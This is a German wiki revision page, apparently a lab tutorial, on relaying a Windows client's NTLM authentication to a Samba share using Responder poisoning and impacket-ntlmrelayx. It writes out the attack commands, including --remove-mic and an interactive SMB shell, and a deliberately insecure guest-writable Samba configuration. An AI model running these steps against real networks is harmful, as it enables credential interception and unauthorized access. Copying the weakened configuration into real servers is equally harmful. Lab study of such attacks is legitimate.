NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Keine Bearbeitungszusammenfassung
Keine Bearbeitungszusammenfassung
Zeile 1: Zeile 1:
= NTLM-Relay auf Samba-Freigabe mit Impacket =
= Funktionierender NTLM-Relay auf Samba mit Impacket =


== Ziel ==
== Ziel ==
Ein Windows-Client im selben Netz wird über LLMNR oder mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer mit ntlmrelayx auf einen Samba-Server weitergeleitet. Der relayed Benutzer erhält Gastzugriff auf eine vorbereitete Freigabe. Der Angreifer kann darüber Dateien ablegen oder einsehen.
Ein Windows-Clients im Netzwerk wird über LLMNR/NBT-NS vergiftet und seine NTLM-Authentifizierung wird auf einen speziell konfigurierten Samba-Server relayed.
 
== Samba-Ziel vorbereiten ==
 
*Samba-Konfiguration anpassen:
nano /etc/samba/smb.conf


== Korrigierte Samba-Konfiguration ==
<pre>
<pre>
[global]
[global]
   workgroup = WORKGROUP
   workgroup = WORKGROUP
   server role = standalone server
   server role = standalone server
  security = user
   passdb backend = tdbsam
   passdb backend = tdbsam
   map to guest = Bad User
   map to guest = Bad Password  # WICHTIG: Geändert von "Bad User"
  ntlm auth = yes  # Neu hinzugefügt
  allow insecure wide links = yes  # Neu hinzugefügt
   guest account = nobody
   guest account = nobody


[share]
[share]
  comment = Relayziel
   path = /mnt/media/share
   path = /mnt/media/share
   read only = no
   read only = no
   guest ok = yes
   guest ok = yes
   public = yes
   guest only = yes # Neu hinzugefügt
   browseable = yes
   browseable = yes
   force user = nobody
   force user = nobody
   force group = nogroup
   create mask = 0777
  directory mask = 0777
</pre>
</pre>


*Verzeichnis vorbereiten:
== Systemvorbereitung ==
mkdir -p /mnt/media/share
<pre>
chown nobody:nogroup /mnt/media/share
mkdir -p /mnt/media/share
chmod 777 /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd nmbd


*Samba neu starten:
# Firewall anpassen:
systemctl restart smbd
ufw allow 445/tcp
ufw allow 137:138/udp
</pre>


== LLMNR/mDNS-Poisoning aktivieren ==
== Angriffsablauf ==


*Responder starten:
=== 1. Responder starten ===
responder -I eth0
<pre>
responder -I eth0 -w -d --disable-ess
</pre>


== NTLM-Relay aktivieren ==
=== 2. NTLM-Relay starten ===
<pre>
impacket-ntlmrelayx -t smb://ZIEL-IP -smb2support -i --no-http-server \
--remove-mic --no-wcf-server --no-raw-server --force-forward
</pre>


*Relay starten mit interaktivem SMB-Zugriff:
=== 3. Angriff auslösen ===
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
Auf Windows-Client:
<pre>
\\NICHTEXISTIERENDE-FREIGABE
</pre>


== NTLM-Angriff auslösen ==
== Erfolgskriterien ==
 
<pre>
*Am Windows-Client im Explorer ausführen:
1. Responder zeigt eingefangene NTLM-Hashes
\\irgendwas
2. ntlmrelayx zeigt erfolgreiche Authentifizierung
 
3. Interaktive SMB-Shell wird geöffnet
*Der Client sendet eine vergiftbare Anfrage, wird relayed und landet mit seinen SMB-Anmeldedaten beim Samba-Ziel.
4. Datei-Upload möglich (upload BEFEHL)
 
</pre>
== Erfolgreichen Zugriff nutzen ==
 
*Nach erfolgreicher Authentifizierung erscheint im Terminal:
[!] Interactive shell opened
 
*Dort können Befehle abgesetzt werden:
ls
upload /tmp/beispiel.txt
exit


*Die Datei liegt anschließend im Share-Verzeichnis auf dem Zielsystem:
== Troubleshooting ==
ls -l /mnt/media/share
{| class="wikitable"
|-
! Problem ! Lösung
|-
| Keine Hashes im Responder | LLMNR/NBT-NS auf Client prüfen (nbtstat -n)
|-
| Authentifizierungsfehler | Samba-Logs prüfen (/var/log/samba/log.smbd)
|-
| Verbindungsprobleme | SMB-Ports (445/tcp) freigeben
|}


== Ergebnis ==
== Wichtige Änderungen ==
NTLM-Relay wurde erfolgreich durchgeführt. Der relayed Benutzer konnte ohne gültige Authentifizierung auf eine Samba-Freigabe zugreifen und dort Dateien ablegen.
* »map to guest« auf »Bad Password« geändert
* »ntlm auth = yes« explizit aktiviert
* »allow insecure wide links« hinzugefügt
* Firewall-Regeln angepasst
* »--force-forward« Parameter hinzugefügt

Version vom 18. Mai 2025, 15:05 Uhr

Funktionierender NTLM-Relay auf Samba mit Impacket

Ziel

Ein Windows-Clients im Netzwerk wird über LLMNR/NBT-NS vergiftet und seine NTLM-Authentifizierung wird auf einen speziell konfigurierten Samba-Server relayed.

Korrigierte Samba-Konfiguration

[global]
   workgroup = WORKGROUP
   server role = standalone server
   security = user
   passdb backend = tdbsam
   map to guest = Bad Password  # WICHTIG: Geändert von "Bad User"
   ntlm auth = yes  # Neu hinzugefügt
   allow insecure wide links = yes  # Neu hinzugefügt
   guest account = nobody

[share]
   path = /mnt/media/share
   read only = no
   guest ok = yes
   guest only = yes  # Neu hinzugefügt
   browseable = yes
   force user = nobody
   create mask = 0777
   directory mask = 0777

Systemvorbereitung

mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd nmbd

# Firewall anpassen:
ufw allow 445/tcp
ufw allow 137:138/udp

Angriffsablauf

1. Responder starten

responder -I eth0 -w -d --disable-ess

2. NTLM-Relay starten

impacket-ntlmrelayx -t smb://ZIEL-IP -smb2support -i --no-http-server \
--remove-mic --no-wcf-server --no-raw-server --force-forward

3. Angriff auslösen

Auf Windows-Client:

\\NICHTEXISTIERENDE-FREIGABE

Erfolgskriterien

1. Responder zeigt eingefangene NTLM-Hashes
2. ntlmrelayx zeigt erfolgreiche Authentifizierung
3. Interaktive SMB-Shell wird geöffnet
4. Datei-Upload möglich (upload BEFEHL)

Troubleshooting

Problem ! Lösung
LLMNR/NBT-NS auf Client prüfen (nbtstat -n)
Samba-Logs prüfen (/var/log/samba/log.smbd)
SMB-Ports (445/tcp) freigeben

Wichtige Änderungen

  • »map to guest« auf »Bad Password« geändert
  • »ntlm auth = yes« explizit aktiviert
  • »allow insecure wide links« hinzugefügt
  • Firewall-Regeln angepasst
  • »--force-forward« Parameter hinzugefügt